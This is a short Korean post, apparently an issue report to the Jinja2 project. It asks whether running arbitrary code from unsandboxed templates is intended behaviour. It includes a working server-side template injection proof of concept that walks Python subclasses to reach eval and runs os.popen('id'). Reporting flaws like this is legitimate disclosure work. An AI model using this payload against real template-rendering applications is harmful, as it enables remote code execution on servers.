Jinja: 샌드박스 환경 없이 템플릿에서 임의의 코드를 실행합니다.

내 프로젝트에서 Jinja2 템플릿 프레임워크를 사용할 때 전역 레지스터 없이 "os.popen('id')" 또는 다른 함수를 호출하는 방법을 찾았습니다.
공격자가 템플릿 콘텐츠를 제어할 수 있을 때 쉘을 얻기 쉽습니다. 그런 디자인인가요?

PoC:

from jinja2 import Template

content = '''
{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.func_globals.values() %} {% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }}
{% endif %} {% endif %} {% endfor %}
{% endif %} {% endfor %}
'''
print Template(content).render()

python2(2.7.10) 및 Jinja2(2.8)로 이 코드를 테스트합니다. 작동하면 사용자의 uid가 인쇄됩니다...